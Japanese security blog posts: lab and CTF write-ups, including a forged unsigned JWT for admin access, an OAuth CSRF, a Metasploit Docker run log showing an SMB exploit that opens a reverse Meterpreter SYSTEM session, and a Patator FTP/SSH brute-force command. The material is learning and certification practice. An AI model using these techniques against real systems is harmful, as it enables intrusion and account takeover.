ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Web Security Academy「JWT authentication bypass via unverified signature」解いてみた

はじめに

この記事は「shinobe179 Advent Calendar 2022」2日目の記事です。

adventar.org

まずは「Lab from all topics」のコンプリートに向けて、「JWT authentication bypass via unverified signature」を解きました。簡単な問題ですが、飲み会終わりにつきお許しを。

メモ

事前情報

  • アプリはJWTの署名を検証しない
    • つまり、書き換えが自由!

流れ

  • とりあえずwiener:peterでログインする
  • Cookieに入っているJWTをコピペして https://jwt.io/
  • ペイロード部の平文をコピーして、subadministratorへ書き換える
  • base64を生成する(後述)
  • ペイロードを差し替える
    • eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9
  • Cookieを差し替えると、/adminへアクセスできるようになる

base64の生成はこんな感じ。

$echo -n '{"iss":"portswigger","sub":"administrator","exp":1670003185}' | base64
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMx
ODV9

# 検証。改行文字がないのでプロンプトの$が続く
$echo -n eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9 | base64 -d
{"iss":"portswigger","sub":"administrator","exp":1670003185}$

宿題

Burp SuiteのInspectorで、JWTの編集ができるみたい。便利!

Web Security Academy「Forced OAuth profile linking」解いてみた

はじめに

この記事は「shinobe179 Advent Calendar 2022」1日目の記事です。

adventar.org

CISSP、eJPT以降、忙しさにかまけて精進が滞っていたので、アドベントカレンダーの力を借りてBurp Suite Certified Practitioner(BSCP)を取ろうかなと思います。

久しぶりにWeb Security Academyにログインしたら、Burp Challengeというコンテンツが出てきました。なんか商品とか試験クレジットがもらえたりするらしいです。今日は眠いんで土日にちゃんと読みます。

portswigger.net

「今のダッシュボードでも貼っとくか」と思ってスクショ貼って気づいたんですが、下段のExam preparation stepsが、BSCPを受ける条件の進捗を示してるんですね。

Lab from all topicsが未完了ですが、今日のところはとりあえずSpecific labsの中で終わってなかった「Forced OAuth profile linking」をやってみました。

portswigger.net

メモ

流れ

  • /oauth-linking?code=...というリクエストをインターセプトしてドロップする。
  • <iframe>でターゲットに表示させると、アンチCSRFトークンがないのでCSRFが成立する。
  • peterでログインし直すと、管理者のSNSアカウントが紐付けられていて、管理者パネルを操作できるようになっている。

不明点

  • どうしてこうなった
    • OAuthの本がKindleにあったはずなので、読んで復習しながらシーケンス図を書いて理解する。

UECTF2022 Writeup

はじめに

UECTF2022、shinozakiaiというユーザー名で参加して20位でした。Writeupを書きます。

uectf.uec.tokyo

逆Writeup(解けなかった問題を復習することを勝手にそう呼んでます)もセットで書くつもりだったんですが、丁寧、丁寧、丁寧にやりたいので別記事にしようと思います。

感想

私にはちょうどいい難易度で、比較的たくさん解けて面白かったです。特にMISCにユニークな問題が多かった印象です。運営の皆様、ありがとうございました。

WEB

webapi

HTMLにベタ書きされているFLAG_URLを見ればflag。

request-validation

ソースコードを読むと、GETパラメータ q がobjectならflagがもらえるみたい。

  if (req.query.q && typeof req.query.q === 'object') {$    
    res.send(FLAG)$

どうしたらobject扱いになるかなーと思って、ローカルで立ち上げた環境に ?q={'test': 'test'} など色々投げてたら、?q=test1&q=test2 でflag。

FORENSICS

Compare

バイナリ同士を比較する cmp というコマンドがあることを知る。見た目は一緒だけど、差分はあるみたい。

$cmp -l UECTF_org.bmp UECTF_new.bmp 
 101845 377 125
 102818 377 105
 103839 377 103
 104752 377 124
 105401 377 106
 106038 377 173
 106639 377 143
 107228 377 157
 107757 377 155
 108406 377 160
 109103 377 141
 109848 377 162
 110605 377 145
 111218 377 137
 111855 377 164
 112504 377 167
 113141 377 157
 113754 377 137
 114379 377 146
 115040 377 151
 115593 377 154
 116326 377 145
 116939 377 163
 117480 377 137
 118285 377 142
 118874 377 171
 119523 377 164
 120040 377 145
 120605 377 137
 121170 377 142
 121819 377 171
 122384 377 137
 123033 377 142
 123574 377 171
 124103 377 164
 124668 377 145
 125065 377 175

この 125 とか 105Pythonchr() したりすればいいのか?と思うもなんかうまくいかず。しかたがないのでorgとnewそれぞれの xxd の出力を保存して diff で比較した。差分になっている箇所が UECTF{ となっているので、温かみのある手作業でflagを組み立てた。

377ってなんだ?

$diff -u org new | grep ^+
+++ new 2022-11-26 15:35:15.396738997 +0900
+00018dd0: ffff ffff 55ff ffff ffff ffff ffff ffff  ....U...........
+000191a0: ff45 ffff ffff ffff ffff ffff ffff ffff  .E..............
+00019590: ffff ffff ffff ffff ffff ffff ffff 43ff  ..............C.
+00019920: ffff ffff ffff ffff ffff ffff ffff ff54  ...............T
+00019bb0: ffff ffff ffff ffff 46ff ffff ffff ffff  ........F.......
+00019e30: ffff ffff ff7b ffff ffff ffff ffff ffff  .....{..........
+0001a080: ffff ffff ffff ffff ffff ffff ffff 63ff  ..............c.
+0001a2d0: ffff ffff ffff ffff ffff ff6f ffff ffff  ...........o....
+0001a4e0: ffff ffff ffff ffff ffff ffff 6dff ffff  ............m...
+0001a770: ffff ffff ff70 ffff ffff ffff ffff ffff  .....p..........
+0001aa20: ffff ffff ffff ffff ffff ffff ffff 61ff  ..............a.
+0001ad10: ffff ffff ffff ff72 ffff ffff ffff ffff  .......r........
+0001b000: ffff ffff ffff ffff ffff ffff 65ff ffff  ............e...
+0001b270: ff5f ffff ffff ffff ffff ffff ffff ffff  ._..............
+0001b4e0: ffff ffff ffff ffff ffff ffff ffff 74ff  ..............t.
+0001b770: ffff ffff ffff ff77 ffff ffff ffff ffff  .......w........
+0001b9f0: ffff ffff 6fff ffff ffff ffff ffff ffff  ....o...........
+0001bc50: ffff ffff ffff ffff ff5f ffff ffff ffff  ........._......
+0001bec0: ffff ffff ffff ffff ffff 66ff ffff ffff  ..........f.....
+0001c150: ffff ffff ffff ffff ffff ffff ffff ff69  ...............i
+0001c380: ffff ffff ffff ffff 6cff ffff ffff ffff  ........l.......
+0001c660: ffff ffff ff65 ffff ffff ffff ffff ffff  .....e..........
+0001c8c0: ffff ffff ffff ffff ffff 73ff ffff ffff  ..........s.....
+0001cae0: ffff ffff ffff ff5f ffff ffff ffff ffff  ......._........
+0001ce00: ffff ffff ffff ffff ffff ffff 62ff ffff  ............b...
+0001d050: ffff ffff ffff ffff ff79 ffff ffff ffff  .........y......
+0001d2e0: ffff 74ff ffff ffff ffff ffff ffff ffff  ..t.............
+0001d4e0: ffff ffff ffff ff65 ffff ffff ffff ffff  .......e........
+0001d710: ffff ffff ffff ffff ffff ffff 5fff ffff  ............_...
+0001d950: ff62 ffff ffff ffff ffff ffff ffff ffff  .b..............
+0001dbd0: ffff ffff ffff ffff ffff 79ff ffff ffff  ..........y.....
+0001de00: ffff ffff ffff ffff ffff ffff ffff ff5f  ..............._
+0001e090: ffff ffff ffff ffff 62ff ffff ffff ffff  ........b.......
+0001e2b0: ffff ffff ff79 ffff ffff ffff ffff ffff  .....y..........
+0001e4c0: ffff ffff ffff 74ff ffff ffff ffff ffff  ......t.........
+0001e6f0: ffff ffff ffff ffff ffff ff65 ffff ffff  ...........e....
+0001e880: ffff ffff ffff ffff 7dff ffff ffff ffff  ........}.......

Deleted

ディスクイメージは binwalkforemost かけときゃええやろ精神で、 foremost で画像ファイルがいくつか発掘できた。漁ったらflagが描いてあるファイルがあった。

Discord 1

ワンライナーで画像ファイルを列挙して、片っ端から確認した。

$find . -name '*' -exec file {} \; | grep -o -P '^.+: \w+ image'
./Cache/f_00002b: PNG image
./Cache/f_00002c: PNG image
./Cache/f_00002f: PNG image
./Cache/f_00003a: PNG image
./Cache/f_00008b: PNG image
./Cache/f_00008c: PNG image
./Cache/f_00008d: PNG image
./Cache/f_00008e: PNG image
./Cache/f_00008f: PNG image
./Cache/f_000090: PNG image
./Cache/f_000091: PNG image
./deafen-off-light.png: PNG image
./disconnect-light.png: PNG image
./mute-off-light.png: PNG image
./tray-connected.png: PNG image
./tray-deafened.png: PNG image
./tray-muted.png: PNG image
./tray-speaking.png: PNG image
./tray-unread.png: PNG image
./tray.png: PNG image
./video-light.png: PNG image

Discord 2

grep

$grep -r UECTF .
grep: ./Local Storage/leveldb/000004.log: binary file matches

MISC

WELCOME

割愛。

caesar

以下のコードでflagをエンコードしている。なんかあんまり細かいこと考えずに、 letter[(index+14)%len(letter)] のとこを letter[(index-14)%len(letter)] にした関数を decode() として使ったら復号できた。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+14)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='UECTF{SECRET}'
cipher_text=encode(plain_text)
print(cipher_text)

こういうの、読むのも嫌になってしまうというか、自分がやりたいCTFはこういうのじゃねえ!と逃げてしまう。

reduction gone wrong 1

黒塗りの箇所をコピペすると「nope」がでてきてぐぬぬ……となった。 「ctf pdf 黒塗り」でググったらLibreOfficeでなんとかしたという記事がでてきたので、そのようにしてflag。

gen-ius.hatenablog.com

reduction gone wrong 2

Windows10標準のペイントで輝度をガンガン上げまくってflag。

GIF1

GIFの中で一瞬flagが表示される。GIMPをダウンロードするのが面倒だったので、Windows+Gで起動する録画機能で録画した。

WHEREAMI

ヒントを見て、これが「plus code」なるものだということが分かった。

plus code を使用して場所を検索、共有する - Android - マップ ヘルプ

1行が1地点を示しているとすると、たくさんあるし、いくつか試すと太平洋というだだっ広いところを示しているようだったので、きっと全部にピンを打ったらflagが浮かび上がるんだろうなと想像がついた。

ので、その方法を探すと以下のページにたどり着いた。スプレッドシートに列挙した地理情報を、まとめてインポートできるみたいだ。

Googleマップ:住所録から地図に一括マークアップする方法(マイマップ作成) - Fans!Google

やってみたらflag。面白い問題だった。

OSINT

IDを変更したTwitterアカウント( https://twitter.com/__yata_nano__ )をネトストする問題。

Wayback machineアーカイブを発見。

https://web.archive.org/web/20221026140525/https://twitter.com/__yata_nano__

ツイートの中身からは、新IDに関する情報は見つからず。色々ググっていたら、ユーザーに変更不可能なIDが割り当てられていることが分かった。

gigazine.net

アーカイブのソースを見てみたら、それらしきものが書かれている。

以下のURLにアクセスすると、新ユーザーIDのアカウントへリダイレクトされる。pastebinのURLをツイートしていて、そこでflagを入手した。UECTF なんかを検索することで辿り着かせないためだと思うけど、手が込んでいるなあと思った。自分だったら適当に検索避けするとか画像とかで済ませちゃいそうだけど、こういう方法もあるんだな。

https://twitter.com/intent/user?user_id=1585261641125416961

REV

A file

うおおおお

$ strings chall | grep UECTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

Linux(Parrot OS)とBluetoothキーボードのペアリングに苦戦し、最終的にbluetoothctlで勝利した話

Kali Linuxのaptが大崩壊したので、Parrot OSに乗り換えました。

移行作業は順調でしたが、唯一HHKBのペアリングがGUIBluetoothマネージャーではうまくいきませんでした。どうやら、ペアリング時のパスコードの入力に対応していないようです。

結論

以下のサイトを見つけて、 bluetoothctl を使って乗り越えました。

wimantis.ninja

細かいことは全然覚えてしログも取り損ねた(無能)んですが……だいたい以下のような感じでした。

  • HHKBを、ペアリング状態(LEDが1秒に3回くらい点滅するやつ)にしておく
  • bluetoothctl (プロンプトが変わる)
  • scan onプロンプトが変わる
  • devices (発見したデバイスMACアドレスの一覧を表示する)
  • agent on (「もともとonだよ」みたいなメッセージが出た)
  • connect 00:00:DE:AD:BE:EF (HHKBのMACアドレスを指定し、接続する)
  • ほっとくと勝手に プロンプトが [HHKB-Hybrid_{n}] になる
    • {n}はHHKBをペアリング状態にした時に使った数字キー
  • default-agent (なにか起きた感じはしなかったが、入力したら↓が起きた)
  • Passkey が表示されるので、HHKBで入力してEnterを押すとペアリング完了

eJPT(eLearnSecurity Junior Penetration Tester)に合格しました

はじめに

eLearn Junior Penetration Testerに合格しました。試験概要みたいなところは良質なQiitaの記事があるのでそちらを紹介するとして、合格に至るまでを共有します。

※注意!…私が受けたのはeJPTv1で、近日中に(すでに?)eJPTv2というのがリリースされる(された?)そうです。この記事の内容の一部または全部がv2の受検に必ずしも活きない点はご留意ください。

どんな資格?どうすれば受験できる?どうすれば合格できる?

……みたいなことは、全てこちらの記事に委ねます。この記事のおかげで合格できたようなものです。

qiita.com

私の合格まで

前提と学習

もともと、TryHackMeをレベルOMNIになるまでやっています。THMや『ハッキング・ラボ』などの書籍を通して、ペンテストのだいたいの流れ、ツールの性質や使い方はだいたい把握していました。業務で脆弱性診断や侵入テストをやることはほぼないです。

INEのトレーニングコンテンツはひたすらBlack-box Penetration Test 1〜3をやるのみでした。CISSPの受験を目標に勉強していた7〜9月あたりも息抜きがてらラボをやっていて、CISSPに合格した9月上旬から、次の目標として本腰を入れ始めたって感じです。3つのラボをつまづかずに解けるようになった段階で試験を受けました。

今年の1月の時点で、すでに受験の意思はあったようです。

2月中旬ぐらいで、はじめてINEのトレーニングコンテンツへアクセスしています。

試験

試験は3日間でしたが、以下のように進みました。ご飯食べたりお風呂入ったりは普通にしていました。私程度のレベルでも時間的な余裕はある試験だと思います。ハマってる間は悶々としてキツかったですが。

  • 1日目の夜:10問も回答できていないぐらいでハマる
  • 2日目の朝:壁を越えて当落線上ギリギリの15問程度を回答したところでまたハマる
  • 2日目の夜:再び壁を越えて全問回答
  • 3日目の朝:全問確認してsubmit

結果は20問中18問正解でした。全問正解だろうなと思っていましたが、どれが間違ってたんだろう……?

完走した感想

これまでTHMなどで単一サーバーしか相手にしたことがなく、複数のサーバーやネットワークが存在する環境は新鮮でやりがいがありました。eJPT、おすすめです。

一方で、かなり苦戦したので、「Juniorでこれ……!?」って気持ちもありました。壁を越えられたのもほぼ偶然だったり、OSSのツールに頼り気味だったりなど、反省が多いです。精進を続けます。

次の目標は未定で、なんとなく以下から選ぶ予定でいます。おすすめのトレーニング、資格があったら教えてください!

  • 業務にすぐ活かせそうなWebをがんばったほうがいいでしょ
    • eWPT
    • OSWE
    • BSCP
  • Microsoftのテクノロジー、そろそろ知っておいたほうがいいでしょ
    • Azure認定資格(セキュリティ系)
    • CRTP
  • eJPTも取れたことだし、何はともあれこれでしょ
    • OSCP

Kali LinuxのMetasploitが使えなくなったら、Dockerイメージを使えばいいじゃない

はじめに

Kali LinuxのMetasploitが使えなくなって、急遽Dockerイメージで難を逃れた、という話です。

経緯

Kali LinuxのMetasploitが、突如として使えなくなりました。

$ msfconsole 
Could not find activerecord-6.1.4.6, actionpack-6.1.4.6, bcrypt-3.1.16, json-2.6.1, metasploit-concern-4.0.3, metasploit-credential-5.0.5, metasploit_data_models-5.0.4, metasploit-model-4.0.3, msgpack-1.4.5, network_interface-0.0.2, nokogiri-1.13.1-x86_64-linux, packetfu-1.1.13, pcaprub-0.13.1, pg-1.3.2, railties-6.1.4.6, recog-2.3.22, octokit-4.22.0, redcarpet-3.5.1, puma-5.6.2, thin-1.8.1, em-http-request-1.1.7, http-cookie-1.0.4, rspec-rerun-1.1.0, rails-6.1.4.6, bson-4.14.1, dnsruby-1.61.9, ed25519-1.3.0, bcrypt_pbkdf-1.1.0, winrm-2.3.6, sqlite3-1.4.2, xdr-3.0.3, hrr_rb_ssh-ed25519-0.4.2, irb-1.3.6, aws-sdk-s3-1.112.0, faye-websocket-0.11.1, eventmachine-1.2.7, ruby-oci8-2.2.10, actionview-6.1.4.6, rails-dom-testing-2.0.3, rails-html-sanitizer-1.4.2, arel-helpers-2.14.0, racc-1.6.0, nio4r-2.5.8, em-socksify-0.3.2, http_parser.rb-0.8.0, domain_name-0.5.20190701, actioncable-6.1.4.6, actionmailbox-6.1.4.6, actionmailer-6.1.4.6, actiontext-6.1.4.6, activejob-6.1.4.6, activestorage-6.1.4.6, sprockets-rails-3.4.2, simpleidn-0.2.1, gssapi-1.3.1, io-console-0.5.11, websocket-driver-0.7.5, loofah-2.14.0, unf-0.1.4, ffi-1.15.5, unf_ext-0.0.8 in any of the sources
Run `bundle install` to install missing gems.

bundle installを試みてもダメ、apt removeして入れ直すことも試してみたのですが、依存関係もひっちゃかめっちゃかになってしまっており、どうにもできない状態でした。OS再インストールも時間の制約があって無理だったので、Dockerイメージに縋ったところ、うまくいきました。

hub.docker.com


※2022-09-21追記

metasploitframework/metasploit-framework、オフィシャルなリポジトリなのかよく分からない問題。一応登録情報自体は、開発元のRapid7っぽくはあるのですが。

hub.docker.com

これとは別に、Rapid7としての登録は別で存在しているみたい。

hub.docker.com

一応、Parrot Securityのリポジトリも置いておきます。手元でrunしてみたところ、こちらはPostgreSQLとNmapが同梱されているようでした。

hub.docker.com

Rapid7のMetasploit関係っぽいリポジトリは、あんまりメンテナンスされていない感じ……?

hub.docker.com


使い方

普通にpullしてrunすると、いつものプロンプトが顔を見せてくれます。ポートバインドはリバースシェルを確立する時のリッスンポートや、Meterpreterのportfwdをする時にホストOSからの通信を受け付けるためのものです*1

$ docker pull metasploitframework/metasploit-framework
$ docker run -p 4440-4450:4440-4450 -it metasploitframework/metasploit-framework

注意事項

windows/meterpreter/reverse_tcp などのペイロードを使ってコネクションを確立する場合、LHOSTをホストOSのIPアドレスにする必要があります。これをメモしておきたいがための記事です。

全く裏をとっていない適当なことを言いますが、LHOSTには以下の2つの役割があると思われます。

  • ペイロードに設定される、接続先IPアドレス
  • ↑の接続を待ち受けるために、Metasploitホストがリッスンするアドレス

したがって、コンテナのIPアドレスだったりすると到達性の問題で都合が悪いのだと思います。コンテナ自身はそのIPアドレスを持たないので、ターゲットからの通信を0.0.0.0で待ち受けます(以下のログ1〜2行目を参照)。

msf6 exploit(omitted) > run

[-] Handler failed to bind to 192.0.2.1:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 198.51.100.1:445 - Target OS: Windows 5.1
[*] 198.51.100.1:445 - Filling barrel with fish... done
[*] 198.51.100.1:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 198.51.100.1:445 -       [*] Preparing dynamite...
[*] 198.51.100.1:445 -               [*] Trying stick 1 (x86)...Boom!
[*] 198.51.100.1:445 -       [+] Successfully Leaked Transaction!
[*] 198.51.100.1:445 -       [+] Successfully caught Fish-in-a-barrel
[*] 198.51.100.1:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 198.51.100.1:445 - Reading from CONNECTION struct at: 0x8216e290
[*] 198.51.100.1:445 - Built a write-what-where primitive...
[+] 198.51.100.1:445 - Overwrite complete... SYSTEM session obtained!
[*] 198.51.100.1:445 - Selecting native target
[*] 198.51.100.1:445 - Uploading payload... mtZMSrbZ.exe
[*] 198.51.100.1:445 - Created \mtZMSrbZ.exe...
[+] 198.51.100.1:445 - Service started successfully...
[*] Sending stage (175174 bytes) to 198.51.100.1
[*] 198.51.100.1:445 - Deleting \mtZMSrbZ.exe...
[*] Meterpreter session 2 opened (172.17.0.2:4444 -> 198.51.100.1:3731) at 2022-09-18 12:33:44 +0000

おわりに

パッケージ管理システムの依存関係ぶっ壊れ、解消できる人っているんでしょうか?再インストールとか、新しいインスタンス立てるとかで対処するのしか見たことないんですが。

何はともあれDocker便利だなというのと、ポートバインドやLHOSTはネットワークを理解していなかったら延々ハマっていたと思うので、ネットワークやっててよかったなと思いました(小並感)。

*1:きっと必要だと思って指定していますが、指定しないパターンの検証はしていません

ユーザー名とパスワードの組を固定してSSH / FTPへ辞書攻撃する

はじめに

FTPSSHでの辞書攻撃を、ユーザー名とパスワードの組を固定してやりたい場合、Patetorの --groups オプションを使うといいです。

github.com

「ユーザー名とパスワードの組を固定する」とは、例えばパラメータp1、p2に対応するペイロードのリストl1、l2を用意し、以下のようにリクエストを送信することを指します。Burp Suiteのintruderでいうところのpitchforkですね。

  • 1回目…p1: l1の1行目 / p2: l2の1行目
  • 2回目…p2: l1の2行目 / p2: l2の2行目
  • 3回目…p2: l1の3行目 / p2: l2の3行目

Burp Suiteを例に挙げている通り、HTTP(S)を対象としたツールでは見かける動作モードなのですが、SSH / FTPでもやりたいなーと思ったらいつも使っているHydraではできなさそうだったので、探してみたところPatatorならできた、というのが経緯です。

Patator(および、同種のツールの多く)では、デフォルトだと以下のように全ての組み合わせを試す動作します。intruderではclusterbombと呼ばれているやつです。

  • 1回目…p1: l1の1行目 / p2: l2の1行目
  • 2回目…p2: l1の1行目 / p2: l2の2行目
  • 3回目…p2: l1の1行目 / p2: l2の3行目

やり方

--groups の引数として、組にしたいファイルの番号をコロン区切りで与えればOKです。

patator ftp_login host=192.0.2.1 user=FILE0 password=FILE1 0=usernames 1=passwords --groups 0:1